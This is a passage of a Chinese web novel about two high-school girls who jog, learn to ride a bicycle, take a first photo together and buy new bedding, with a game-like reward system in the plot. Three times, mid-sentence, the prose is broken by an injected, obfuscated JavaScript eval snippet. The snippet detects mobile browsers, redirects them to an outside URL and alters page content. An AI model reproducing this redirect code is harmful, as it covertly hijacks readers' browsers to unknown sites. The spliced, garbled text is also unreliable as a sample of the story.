拍门惹人厌，她没有拍，隐约听到里面传出了哗啦啦的水声，好像是陆晨曦在卫生间洗漱。她思考了下，决定在门口等五分钟，如果陆晨曦起床了，可以再等多一会儿。 毕竟是高三生，陆晨曦动作很快，她收拾妥当打开房门，看见外面站着的徐婷婷，不由得眨了眨眼，有点意外：“你在等我？” “嗯。” “等了多久？你干嘛不拍门？”陆晨曦不理解她的做法。 “一会儿，不久。”徐婷婷迟疑着讲了实话，“我怕我每天催你起床会让你讨厌我。” 陆晨曦想用笑声带过话题，可是她迟疑着，没有笑，认真地对好朋友说：“如果我因为你叫我起床就讨厌你，那么我不值得被你视为朋友。每天专属叫起床服务，你别看我嘴巴上叽叽歪歪，实际上可喜欢了！” “真的喜欢吗？”徐婷婷好奇，“我……其实很讨厌睡懒觉的时候被人催起床。” “我也不喜欢被人催，可是婷婷，我和你约定了每天一起晨跑，我是自愿起床的。”陆晨曦拍着胸膛说，“我既然说得出，我一定做得到！” 两人一块下了楼，徐婷婷问：“去哪里晨跑？” “我家没跑道，当然得去公园。”陆晨曦带她去车库，取出自己的自行车，“来吧，坐在后座，我骑车带你去公园。” 对上徐婷婷的目光，她一笑：“怎么？你觉得我会开小汽车带你去？还是我叫司机开车送我俩去公园？” 徐婷婷老实回答：“都有。” 陆晨曦哈哈大笑：“我家不是富豪，请不起司机。开车我倒是会，但我没成年，还没拿到驾照，开车出门被抓到可就麻烦了。” “公园远吗？”徐婷婷坐在自行车后座，感觉颇为新奇，她也没坐过自行车，“你骑车带着我会不会很累？” “有点啦，大不了下次你带我。”陆晨曦指着河对岸的一座山，“就在那，公园有跑道，很长很长，跑完了我带你去好吃的早餐店吃馄饨。” 清晨的风凉爽极了，徐婷婷看着路上的风景，没有打扰陆晨曦骑车。 车停在山脚，陆晨曦上了锁，指着跑道说：“在这里跑步可比在学校舒服多了，跑道两侧有树遮阴，还能欣赏路边的花花草草，听小鸟唱歌。对了，我在这里见过小松鼠呢，跑得特别快，我都没看仔细它就消失不见了……” 两人草草做了热身运动，开始慢跑。 徐婷婷现在的耐力比第一次晨跑好很多，两百米轻轻松松。 跑道很长，陆晨曦提议跑到尽头，徐婷婷没有拒绝。 早餐店在山脚，客人很多，一碗馄饨八元十个，肉馅包得足，汤底鲜美。徐婷婷吃之前觉得贵，吃之后觉得贵有贵的道理，客流量是早餐好吃的最好证明。 “我去过别的店吃，卖得比这里贵，但是馄饨的馅只有黄豆大，气死我了！”陆晨曦一边吃一边说话，“汤也难喝，我尝了一口就知道加了浓汤宝，毫无真材实料，难怪没人吃。后来我路过，哈哈，那家店倒闭了。” 徐婷婷很少在外面吃早餐，无从比较。 忽然，她听到有人叫她，抬眼看去，早餐店门口站着一个眼熟的女生，眉梢长着一颗小痣，正是给她带过快递的同学。 “是你，晏北回！”徐婷婷高兴地招了招手，她记得对方的名字。 晏北回跑进早餐店，很是惊喜：“你和晨曦在一起啊？你俩住在附近吗？” 徐婷婷说：“晨曦住在附近，我、我在晨曦家做客。” “噢，我就说，难怪你俩一起吃早餐。”晏北回恍然，“你们起得还挺早的，都吃上了。” “一起吃吗？”陆晨曦热情地邀请，“我请客。” 晏北回明显意动，却摇摇头：“今天不行，我还得拿早餐回去。” “那么待会儿一起爬山？”陆晨曦指了指山顶，“婷婷没去过山顶，上去看看。” “想去，可是我要晾衣服，还要扫地拖地。”晏北回遗憾，心情有些低落，忍不住跟两个同学抱怨，“我妈总是让我干家务，我弟弟比我懒，我妈说女孩不干家务嫁不出去。” “你弟弟不干，你也别干得了。”陆晨曦出主意，“都是妈妈的孩子，妈妈凭啥偏心弟弟不偏心你？” “不干的话我妈会数落我。”晏北回低声说，“其实我妈没有那么重男轻女，她看见我弟弟有空也会让弟弟干活的。” 陆晨曦撇撇嘴，指着早餐门口的柜台：“是你的早餐吗？打包好了。” 晏北回连忙走过去，拿了早餐付了钱，特地回来，对陆晨曦说：“明天我有空，我们一起玩吗？” 陆晨曦笑了：“可以啊，你加我，要是出门玩我会叫你。” “婷婷在群里吗？”晏北回当场拿出手机，从班级群里找到陆晨曦。 “我没有手机，也没有q号。”徐婷婷说。 “好可惜，其实你可以申请的，不会就让晨曦帮你。”晏北回加上陆晨曦，跟两人说了再见，提着沉甸甸的早餐回家去了。 她走了，徐婷婷看着陆晨曦，小声说：“你好像……不太喜欢她？” 陆晨曦吃饱了，抓起纸巾擦嘴，说：“一边抱怨妈妈偏心一边说妈妈不算偏心，她不矛盾我都替她感到矛盾。不聊她了，q号是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294166|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你申请还是我帮你？” “电脑借我，我自己来。”徐婷婷不想事事依赖陆晨曦。 “行，回家打游戏？”陆晨曦惦记着昨天的进度，“装修一下基地就能去打BOSS了，要不咱们别爬山了，游戏多好玩啊。” 徐婷婷也动摇了，游戏确实比爬山好玩，可是放假不能一直打游戏吧？她克制住回家玩游戏的冲动：“去爬山，来都来了，在公园多玩一会。” 陆晨曦：“……好家伙！来都来了！游戏就那么不吸引你吗？走吧，去爬山，咱俩一起做运动系美少女！” 走出早餐店，陆晨曦瞧见骑自行车来买早餐的人，想起一件事：“婷婷，你不是不会骑自行车吗？我教你怎么骑。” 【叮！你触发了生活事件】 【陆晨曦主动教你骑自行车，你决定——】 【选项一：欣然答应，获得300元零花钱】 【选项二：委婉拒绝，获得10元零花钱】 【选项三：傲然开口：“骑自行车还用得着教？我自己就能学会！”获得500元零花钱】 500元！选项三真是又狂又有钱。 徐婷婷实在想象不出傲然开口是怎么个说话方式，默默叹气，选择一。 系统希望她学习骑自行车，她也有学的心思，因为她想和陆晨曦一起骑自行车。 没有立刻得到回应，陆晨曦伸手在徐婷婷眼前晃了晃：“婷婷？在想什么？” 徐婷婷说：“我很愿意学习骑自行车，我在想，你会不会不耐烦教我，我可是很笨的。我觉得骑自行车有点难，我可能学不会。” “你肯学我就教，自行车不难骑，你别看轻你自己。”陆晨曦发现徐婷婷不自信，“你笨吗？你考试是全年级垫底那个？不是倒数第一名就别说自己是笨蛋，就算是倒数第一，努力一下也能成为倒数第二呢。” “晨曦好会安慰人呢，好温柔！”徐婷婷还是觉得骑自行车不容易，“我学得慢你可别责怪我。” 【叮！你完成选项一，300元零花钱已发放至账号】 学习骑自行车之前要准备一些东西，陆晨曦打电话回家：“阿姨，我在公园，我要你找一些东西送来。你记好了，我要头盔，那个蓝色的，小个的，黑色的也送过来。我还要健身手套、肘关节保护套、护膝，麻烦你了。” 她挂断电话，徐婷婷好奇：“要准备那么多东西？” “当然，万一你不小心摔倒，头盔保护脑袋，健身手套保护手，肘关节保护套是用在手肘上的，护膝保护膝盖。”陆晨曦科普常识，“你也不想受伤吧？受伤可是很痛的。” 先爬山再学自行车，两人刚吃过早餐，慢悠悠地往山上走。 等到爬完山下来，陆晨曦要的东西也送到，她一样一样地给徐婷婷穿上，又根据徐婷婷的身高调整了自行车坐垫的高度，让她骑上去试试：“怎样？可以吗？” 自行车坐垫调到最低，徐婷婷的脚底距离地面也有两三厘米的高度，稍微让自行车倾斜就能双脚够到地面，她点点头：“我应该可以。” 陆晨曦扶着车，教她刹车：“骑上去，想停下来就轻轻握紧，速度会变慢。你骑的自行车有惯性，不要一下子握紧，不然你会被甩出去……” 讲解完毕，陆晨曦骑上自行车示范一遍，再骑回来，把车交给徐婷婷：“到你了，不要怕，慢慢来，就算摔倒了也有装备保护你，你可以放心地骑。” “我、我还是害怕……”徐婷婷紧张，自行车到底是她今天才接触的新事物，她用祈求的目光注视身边的陆晨曦，有些艰难地开口，“你……能不能扶着我骑？我想适应一下。” “行啊。”陆晨曦扶住自行车，“你踩一下踏板，我替你掌握方向。” 徐婷婷握住车把，专心致志地踩自行车踏板。 正如陆晨曦所言，掌握骑车的平衡不难。 她骑了一小段，陆晨曦松开手，她安安稳稳地把车骑出去，在十几米外停下来，回过头对陆晨曦扬起灿烂的笑，大声喊道：“晨曦，我感觉我学会骑了！我骑回去给你看！” 调整自行车踏板的位置，徐婷婷一脚踩下，同时提起踩在地上的另一只脚。自行车立刻驶出去，悬空的另一只脚跟着放在另一个踏板，她稳稳地掌握自行车的方向，把自行车开到陆晨曦身边，甚至绕着陆晨曦转了一个圈才停下。 “恭喜你！”陆晨曦笑容满面地鼓掌，“好厉害哦！你学会骑自行车了！” “谢谢！都是你这老师教得好！”徐婷婷高兴得脸都泛红了。 “我搞个共享单车，我们一起绕公园骑一圈！”陆晨曦用力地拍了拍她的肩，“我就说骑自行车不难吧？才一会儿你就学会了。” 8. 人生第一张生活照 公园有共享单车，陆晨曦骑着来到徐婷婷身边，笑着说：“你回去可以写一个作文，题目我都替你想好了，就叫《十分钟学会骑自行车》。不想写作文你也可以写日记，老班每周都要偷看一次我们的日记。” “感觉写出来给别人看会很羞耻……”徐婷婷打量陆晨曦的共享单车，她感到好奇，“骑这个车贵吗？” “一块八骑十五分钟。”陆晨曦拿出手机看了价钱，“你请我吗？但你没有手机，待会儿请我个雪糕庆祝你学会骑自行车，怎样？” 徐婷婷笑着说：“好啊！” 她们骑着自行车进了公园侧面的水泥路，享受骑车时吹到脸上的凉风。 到了行人比较少的路段，徐婷婷感慨：“我今天达成了一个心愿！”望向旁边的陆晨曦，“昨天你说我们可以一起骑自行车，我便想我要什么时候才能做到，结果今天心愿就成真，好高兴！” “是吗？想要你许愿我中奖一个亿！” 徐婷婷被逗笑了：“好吧，我许愿陆晨曦未来中奖一个亿！” “要拍照留个纪念吗？”陆晨曦说着也动心了，“这可是你的心愿，必须拍照留念！让我想想，怎么拍呢？最好在公园拍，可是这里没有摄影摊子，叫摄影师过来也麻烦，我想把手机交给别人拍但我怕手机被偷走。” “你的手机被人拿走过？”徐婷婷惊讶。 “对，那时我随便找了个顺眼的人，让他帮我拍张照片，结果那天杀的臭东西趁我不备，拿着我手机跑了。我哪能服气啊，马上报警找监控打印他的脸张贴告示提醒别人他是贼，还真把他给找出来，手机也拿回来了！”陆晨曦得意洋洋，“哼，我的东西也敢偷，我让他的亲朋好友全都知道他是贼！” “你好厉害！”徐婷婷赞叹。 “那是！”陆晨曦骄傲地昂头，神采飞扬地说，“我可以吃亏，但是让我吃亏的人绝对不能好过！” 惦记着拍照留念，她四处乱看，试图寻找熟人，奈何看到的全是生面孔。 该死，怎么一个熟人都没有！ 等到骑完一圈回到公园的大广场，陆晨曦终于在人群中找到一个认识的人，连忙叫对方帮忙拍个照。 那人乐意帮忙，拍了十几张，问：“满意吗？不满意再拍，我感觉我拍得不是很好。” “这可是你说的，再拍点。”陆晨曦把手机塞到她怀里，嬉皮笑脸地道，“可以吧，我的好姐姐！我只有你能依靠啦！” “闲着也是没事干，帮你帮到底吧。”好姐姐叹气，“都怪你这小嘴太会说话，我竟不忍心拒绝你。” 于是她们拍了一堆照片。 好姐姐也入镜了，陆晨曦说照片洗出来会亲自送到她手上，好姐姐笑得合不拢嘴。 此时临近中午，陆晨曦与徐婷婷吃完雪糕，一起回家，路上她俩顺便买了几个漂亮的新相框。 在家附近，陆晨曦停好共享单车，付了款。 她拿起装着相框的购物袋，说：“我以前做过相框，现在还在家里放着，装着我的照片，待会儿给你看看。” “相框容易做吗？”徐婷婷没做过类似的手工。 “我觉得是不难的。” 回到家，陆晨曦把自己做的手工相框拿出来：“你看，做个框架把照片压住就行。框架的材质要选好，还要做防霉防虫处理，才能长久保存起来。” 相框是用树枝做的，刷了一层漆，很精致。 对比相框，徐婷婷更关注的是相框中陆晨曦的照片。 她穿着深青色羽绒服走在街上，头上戴着一顶毛茸茸的针织帽，似乎被人叫了名字，相当开心地回眸一笑，露出洁白整齐的牙。 陆晨曦拿起相框，露出怀念的神情：“这是我姨姨去年冬天给我拍的照片。我、我妈和姨姨去哈尔滨玩，我惹恼姨姨，听到她叫我，肯定是原谅我了，我就非常欢喜地转过头，然后她拍了我的照片。” “你和你姨姨关系很好？她是摄影师吗？”徐婷婷觉得照片很好看。 “当然，我喜欢姨姨，她也喜欢我。”陆晨曦翻出相册，给好朋友看姨姨的照片，“我姨姨超级酷的，一直是短发，我甚至见过她剃光头。” 照片上的女人戴着黑色棒球帽，翘起二郎腿坐在椅子上，手里拿着一杯深色饮料，皱眉看向镜头，不太高兴的样子。 徐婷婷看不出她的年龄，感觉是四十岁左右。 她的法令纹很深，没化妆。 “我妈拍的。”陆晨曦说，“我妈和姨姨闹翻过几次，拍这张照片的时候，姨姨就在生我妈的气。哦，忘了说，我姨姨不是摄影师，但她拍的照片确实比我妈拍的好看……” 相册里的照片很多，徐婷婷对比了下，发现陆姨姨擅长捕捉生活中的美好瞬间，陆妈妈拍照片则有点刻意。 不过，陆晨曦从小到大都有照片，把成长记录在一本相册中，很让人羡慕。 徐婷婷的妈妈没给她拍过照片，没带过她出去玩，她的姨姨也不像陆姨姨这么好。 生来便能得到家人的爱，多么幸运！ 忽然间，徐婷婷心里萌生了阴暗的恶意，她说不出那是怎样的心理，她有点恨陆晨曦。 “还没到饭点，我们先去把照片打印出来吧。”陆晨曦拍了拍她。 她的动作吓得徐婷婷一激灵，眼睛里涌出惶恐之色。 陆晨曦也被吓到了，忙问：“你怎么了？” 愧于自己恶毒的想法，徐婷婷不敢面对她，低着头回答：“在想一些事，走神了。晨曦，对不起。” “哈哈，你不用道歉啦！应该是我道歉才对，我把你吓到了。” 陆晨曦揽住她的肩，亲昵地挨着她的耳，学着她的语气说：“昨天想和晨曦一起骑自行车，结果今天心愿成真，好高兴哦~！” 徐婷婷的脸顿时红了，推开她：“不准学我说话！” “嘻嘻，不准学我说话！”陆晨曦当起复读机，“婷婷这么容易害羞，总想逗一逗。” 两人去书房，把手机里选好的照片用打印机打印出来，装进相框。 就这样，徐婷婷拥有了人生第一张生活照！ 照片上拍着天空、草地和树，她和陆晨曦骑着车，眉眼带笑。陆晨曦侧头看来，专注认真地倾听，阳光落在她的头发上、脸上，镀上浅浅光晕。徐婷婷目视前方，跟陆晨曦说话，照片在这一刻被摄影师定格。 捧着相框，徐婷婷仔细看照片里的自己。 拍照时她一定很高兴。 她忘了那会儿自己说的是什么话，但是她和陆晨曦一起在公园里骑车，她看起来像个普通的城里女孩。 照片里呈现的，不仅仅是实现的心愿，更是她向往的生活。 所有见不得光的阴暗心思，所有求而不得的不甘心，仿佛被照片治愈了。 徐婷婷感到满足。 “你最喜欢这张吗？可是这张把我拍得有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294167|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丑哎，既然你喜欢，我就勉为其难，把它放进我的相册好了。”陆晨曦嘟囔着，操作机器打了两张同样的照片出来，“我要把这张照片放在床头！” “谢谢你，晨曦。”徐婷婷感动地说，“谢谢你和我拍照，我会好好保存这张照片的！” “刚好我也想拍照啦，我第一次教别人骑自行车呢。”陆晨曦很得意，“十分钟教会你骑自行车，我真是一个天才教练！婷婷你还有什么不会的？想学什么？我教你！” “暂时没有啦。”想起自己跑步也是陆晨曦教的，徐婷婷不由得说，“晨曦，你真的十项全能，学习好，体育好，什么都擅长，就像小说里的天才女主！” “有吗有吗？好听，爱听，再夸夸我嘛！”陆晨曦自恋地捧住自己的脸，把面前的徐婷婷当成童话里的魔镜，“婷婷啊婷婷，告诉我，我是不是这个世界最聪明最完美的女人？用女人称呼自己好怪哦，我觉得我妈、姨姨才是女人，我不算。” 徐婷婷乐于陪她演戏：“是啊是啊，你是这个世界最聪明最完美的人！大家喜欢你，爱戴你，没有谁不想和你成为朋友！” “哈哈哈哈，你说得好真诚，我会当真的。”陆晨曦笑个不停，“好喜欢听你夸我，作为对你的回报，我也夸夸你吧。婷婷是冷宫里不受待见的柔弱公主，忽然一天怪物来袭，婷婷公主很害怕，却勇敢地打死怪物头子张浩文，大家惊呆了，簇拥着婷婷公主成为女王！我好像没有夸人的天赋哎，我给婷婷编了个故事，喜欢吗？” “喜欢，但是张浩文不配做怪物头子。”徐婷婷纠正道。 “那就让他做怪物炮灰！”陆晨曦马上改故事，“来袭的一大群怪物中，张浩文最弱小却最嚣张，气得婷婷公主一巴掌把他扇死……” 陆妈妈不在家，只有徐婷婷和陆晨曦两个人吃饭，简简单单的三菜一汤，做得很好吃。 饭后，陆晨曦提议：“玩游戏！狠狠地玩！” 徐婷婷也有计划：“先午休，然后学习，我们已经玩了一个上午。” 陆晨曦瞪她：“这是家里，不是学校！大把美好的时光，你舍得拿来学无聊的习？” “我们明年六月高考。”徐婷婷从未忘记十万元奖励，严肃地说，“我们剩下的时间不多了。” “……你为何如此热爱学习？我不懂。”陆晨曦倒在沙发上，双眼放空，“让我想想，有什么东西既能休闲一下又能满足你对学习的要求……啊！想到了！” 陆晨曦一个鲤鱼打挺蹦跶起来，元气满满地说：“你很想提高英语成绩吧？光是背单词记句式是不行的，你还得听，还得开口说！所以，让我们看点中英双语的美剧吧！” “什么是美剧？”徐婷婷感觉自己的见识贫乏得可怜。 “外国人拍的电视剧啦，很好看的，还能学英语！”陆晨曦压根不午休，迅速在客厅里操作一番，巨大的电视机开始播放外国电视剧，“好了，让我们看电视，不，学英语！” 徐婷婷从未想到英语还能这样学，她是真的想提高英语成绩，盯着字幕念台词，复习旧单词，学习新单词。 陆晨曦偷偷看她，发现她学得特别认真，也受到了影响，跟着电视读台词。 两人就这样学了一下午英语。 感觉英语水平有所提高，徐婷婷拿出英语试卷，先写作文，再做别的，做完了跟陆晨曦对答案，互相讨论问题。 这一幕让下班回来的陆妈妈倍感欣慰。 9. 想要拥有的枕头 重回校园，徐婷婷把相框放在枕头边，看着照片中的自己和陆晨曦，想起愉快的周六，面上不由得露出笑容。 她想，她永远都不会忘记那一天。 随后她的目光落在枕头上，这是家里带来的枕头，套着洗得发白的廉价枕套。枕套是她在镇上买的，从初中用到现在，每周清洗一次。 徐婷婷唇畔的笑不知不觉地消失了，一颗心仿佛从美梦中坠落，摔进沉重的现实。 从四年级起，她就开始住校。 那是镇上的小学，回家要步行一个小时山路，远得无法每日往返，只能住学校。 谁让村里的学堂只有一、二、三年级呢？义务教育普及了，她得读书。 宿舍是老旧的砖瓦房，奶奶交完学费就离开了。 她独自铺床，早到的舍友站在一边，突然发出特别夸张的声音：“徐婷婷，你的枕头好脏啊！你在上面尿了吗？你好臭！真是太不讲卫生了！” 舍友急忙退出老远，如同避开癞□□。 很脏吗？ 年幼的徐婷婷拿着泛黄的枕头，不理解舍友的反应。她前几天用洗衣粉洗过的，晒了太阳后闻起来香香的，她觉得不脏也不臭。 她很难过，不由得看向舍友的枕头。 上面印着鲜艳美丽的图案，很新，看起来松松的、软软的。 而她的枕头，用了很久。 徐婷婷拆下枕套，泡在水里，放了洗衣粉，认真地搓了又搓。在太阳下晒干的枕套依然泛着黄，舍友还是嘲笑她脏。 她低下头躲避舍友厌恶的目光，被自卑羞耻的情绪笼罩，日渐消沉。 都是枕头害她被讥讽！她偷偷扔掉枕头，看着枕头混在垃圾场的垃圾里被火烧掉，悄悄地松了一口气。 奶奶问起枕头，她撒谎说枕头不见了。 奶奶便在家里大声骂学校的小偷，骂她蠢，骂她笨，骂她不懂事弄丢枕头。 她一声不吭，从家里拿了另一个枕头到宿舍。枕套是奶奶去年过年买的，看起来还很新，虽然没有很鲜艳的图案，但是她终于和舍友一样了！ 不是所有舍友都会嘲笑她，她努力向她们靠拢，努力让自己看起来像个干干净净的小镇女孩。书上说饭前要洗手，早上要刷牙洗脸，每天要洗澡换衣服……徐婷婷全都照做。 舍友们讨论着洗头，是三天洗一次，还是两天洗一次？ 她插不上话。 有人说她有有很多头屑，她勤快洗头，却无济于事。 后来，临近过年，姑姑来家里做大扫除，洗到用得发黄的枕套。徐婷婷才知道，枕套染上的黄色是污渍。不能洗去的污渍，是肮脏的。 奶奶不给钱买新枕套，她用自己的压岁钱买了一个喜欢的新枕套，带去初中宿舍，又带来高中宿舍，没有让枕套泛过黄。 高中的舍友没嫌弃过她脏。 记忆中大喊她脏的小学舍友已经在记忆中变得模糊不清，徐婷婷记不起那人的长相和姓名，她想起被火烧掉的脏枕头，拿起现在的枕头闻了闻。 没有异味，也不香，该拿去晒一下太阳了。 还是直接扔掉？ 扔掉的念头在脑海中产生便无法消失。 徐婷婷知道，她不应该这样想。 她在心里告诉自己，枕头确实旧了一点，可是枕头没坏掉，还能用。她不是有钱人，她是个学生，她要勤俭节约，不能攀比，不能爱慕虚荣，不能铺张浪费…… 但是，任凭那些话在心里重复了一百遍一千遍，她还是忍不住问自己一个问题： 我难道不配拥有一个自己的新枕头？ 家里带来的枕头，是家里的，家里所有人都能用。 她想要的，是为她买的，只属于她的枕头，只有她一个人能用的枕头。 奶奶不愿意为她买，她可以自己掏钱买。就像枕头外包裹的枕套，是她亲自挑的，她喜欢这个款式、这个图案，所以她买下它，拥有它，格外爱惜它。 宿舍里，陆晨曦在和舍友们说话，有人用手机外放音乐。 没有人把宝贵的注意力放在沉默的徐婷婷身上。 徐婷婷享受这种无视。 她拆开枕套，里面的枕头不脏，每次洗枕套她却习惯性地把拆出的枕头藏起来，害怕它被人看见。她捏捏枕头，里面的填充物无法拆出来洗，肯定很脏吧？ 对，枕头很脏，她要扔掉它，买一个喜欢的新枕头。 枕套用了五六年，买一个新的换个用，没毛病吧？很正常吧？ 徐婷婷无声地笑了一下，看向叠起来的被子。 被套也很旧，使用的时间比枕套更久，清洗的次数更少，图案老土又过时。 被子深深地藏在被套之中，当寒冬到来，她穿得厚厚的躲进被子里睡觉，冻得打哆嗦，就算睡着了被窝也暖和不起来。 买新被套新被子要花掉多少钱呢？ 徐婷婷想盖云朵一样蓬松、棉花一样温暖的被子，就像她在陆晨曦家里盖过的那张。 还有被子下的草席，草茎都散开了，除了躺在草席上的她，又有谁会关心它？ 蚊帐是四年级那年买的，一个学期洗一次，旧而不脏。虽然她想要印着美丽花纹、装饰漂亮蕾丝的蚊帐，但蚊帐的作用是防蚊，没必要为美丽的外表花更多的钱。 天黑了，马上要上晚自习课。 舍友在换衣服鞋，准备去教室。 徐婷婷快速收拾好，跟陆晨曦离开宿舍，心不在焉地走在路上。 今天是没办法出去买新枕头新被子了，明天是周一，至少要到周日下午才有空。 好久！不想等！ 为什么时间不能一下子跳到七天后？ “想啥呢？这么出神。”陆晨曦勾肩搭背，“走路不看路，当心撞到别人。” “想快点放假！”徐婷婷的心里话脱口而出。 注意到陆晨曦的眼神不对劲，她赶忙说：“别误会，我不是想放假，我是想买新被子！我的被子盖着不太暖和，想换掉，要放假才能出去买新的。” 陆晨曦沉思：“很急吗？急的话，晚自习别上了，这就跟老师请假出去买。可是你买了新被子也要晒一下，不能马上就盖上。我看看天气。”打开手机，她纳闷，“今晚不降温啊，倒是后天可能冷，你明天午休出去买新被子？” “老师会同意吗？”徐婷婷没多少请假的经验。 “肯定会的啦，你又不是出去玩。” 陆晨曦问：“中午你在哪吃？” 徐婷婷一愣。 食堂的饭菜她不太想吃，她想吃点别的，便说：“在外面买点东西吃。” “去吃螺蛳粉吗？”陆晨曦忽然精神起来，“我好久没吃了，明天中午点外卖吃得了，我实在不想吃食堂的饭。” 徐婷婷倒是吃过螺蛳粉，只是没有一个人进店吃过，她问：“哪家的螺蛳粉？” 陆晨曦刚要答，忽然想起一件事，说：“螺蛳粉没营养的，全都是碳水，你要吃好，还是在学堂吃吧。” “……我、我BMI指数正常了！”徐婷婷弱弱地反对，“你吃螺蛳粉，我也想吃。我一直都有好好吃饭，每天锻炼身体，偶尔吃一次螺蛳粉不会影响身体健康的……” “吃碳水饿得快。”陆晨曦倒是不反对徐婷婷中午吃螺蛳粉。 她是朋友，不是妈，管不了那么宽。 她提出问题：“你没有午休，也没有吃好，下午难道饿着肚子上课？要不你买点牛肉干当零食吃吃，这样不会太饿。” “牛肉干很贵的吧？” “好吃啊。”陆晨曦说着，用外卖软件看螺蛳粉店的菜单，“咦，店里卖鸡腿，你不用发愁了。” …… 班主任陈若龙果然没有拒绝徐婷婷午休请假的要求。 得知她要买新被子，陈若龙关心地问：“你的家长给你钱了？够用吗？” 徐婷婷看向属性面板里的【金钱：800】，点点头：“给了，够用。” “家长还是关心你的，知道你在学校要用到钱。”陈若龙温和地注视她。 这孩子羞怯胆小，性格内向，一瞧就知道没什么生活经验。 作为班主任，自己得对这样的学生尽责一些。 于是陈若龙问：“会挑选被子吗？要不要老师带你去挑？我中午回家吃饭，刚好开车载你一程。” 她看到徐婷婷露出又惊又喜的神色，不由得笑了笑：“怎么？想自己步行去？” “不、不是，我不想麻烦老师！” 陈若龙更怜爱她了，说：“你是我的学生，老师为学生解决问题，怎么能叫麻烦呢？下课后我在办公室等你，你过来找我，午饭你可以让同学帮你打。” 徐婷婷怎能拒绝？高高兴兴地应下来。 奋斗在教学一线的陈若龙，开着摩托车上下班。 她把徐婷婷带去银行取了现金，来到老街一家自制被褥床品出售的店，说：“我也是在这里买的被子，质量不错，你自己慢慢看，挑好了早点回学校去，没准能赶上午休。” 徐婷婷目送她离开，怀着期待走进店里，对老板说出要求，开始为自己挑被子。 把所有符合要求的被子看过，她在老板的建议下选了六斤重的被子。填充物叫什么大豆蛋白纤维，徐婷婷不懂，老板说盖着不暖和可以拿回来退，加上老师推荐，她放心地买了。 被子要一百五十块钱，没有她想象中的贵，她原先以为被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294168|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子要四五百块。 买完被子，徐婷婷选被套。 她对材质并不重视，只看颜色图案。 印着鲜艳花草的太俗气，印着卡通的太幼稚，格子又显得有些单调……挑来选去，徐婷婷难以下定决心，最终选定一张印着兔子和花丛的浅粉色被套。 枕头看起来都差不多，她精心选了一个学生枕头。 枕套她想买和被套同图案的，可惜没有，只能选择颜色相近的。 徐婷婷忍不住想，如果有自己的房间，就不用纠结枕套的图案和被套不匹配了。 然而她没有。 还要等待多久，她才能获得一个属于自己的房间？ 席子也要买一张新的，徐婷婷没有看草席，选了有一层包边的竹席。 很沉，两面都能用，她很喜欢。 她一直都想要一张竹席，今天终于如愿拥有了。 付了老板二百七十五元钱，徐婷婷硬是把枕头枕套被套塞进装被子的袋子，然后提着袋子、抱着席子找到附近的公共厕所。 沉甸甸的袋子放进【背包】，负重顿时减轻。 她洗了手，叫来一辆摩托车把自己送到学校附近的螺蛳粉店。 店装修得很气派，螺蛳粉和鸡腿很好吃。 接下来，徐婷婷步行回学校，借助教学楼一楼的厕所掩护，把【背包】里的袋子拿出来，和席子一起搬回宿舍。 大家都在午休。 徐婷婷蹑手蹑脚地把东西放在角落，脱鞋爬上自己的床。 马上就能换上新被子，开心！ 新被套很漂亮，开心！ 有新枕头了，开心！ 徐婷婷乐得差点睡不着觉。 她迷迷糊糊地眯了一下，听到午休结束的铃声，立刻爬起来晾晒新枕头、新被子、新席子，新被套、新枕套过一次水再拧干晾晒。 舍友们好奇地凑上来询问价钱。 徐婷婷不敢露财，把话题含糊应付过去。 湿水后沉重的被套一个人拧不动，陆晨曦来帮忙，笑着说道：“原来你喜欢公主风，都是粉色的。” “不好看吗？” “好看。” “挑了好久我才挑中这个色。”徐婷婷小心地抖开拧成一条的被套，放进衣架子，用撑衣杆挂起来，声音轻轻的，“这是我买的第一张被套。” 陆晨曦进厕所去了，没有听到她说话。 马上就要去教室上课，徐婷婷把枕套也挂起来。 秋季天气干燥，到了第二天中午，被套和枕套都干了。 令人厌恶的旧枕头扔进垃圾堆，旧被子留着在冬天当垫子，徐婷婷把套上新被套的新被子铺在竹席上，崭新的枕头放在床头正中间，相框距离枕头稍远。 她放下蚊帐，静静打量着蚊帐内狭小的空间。 陈旧的物品被淘汰掉，小床变得格外顺眼，仿佛一个小小的温馨的家。 小心翼翼地躺下，被软绵绵香喷喷的被子拥抱，徐婷婷深吸气，蠕动着把头放在枕头上，拿起相框看照片里和陆晨曦一起骑自行车的自己，发自内心地感到幸福。 以后，她会更幸福！ 徐婷婷把相框放在心脏处，闭上眼，一行行文字悄然浮现在心底。 【你改变了】 【你扇在张浩文脸上的一巴掌驱散了他给你带来的阴影，你再也不会恐惧他，再也不会任由别人欺负你】 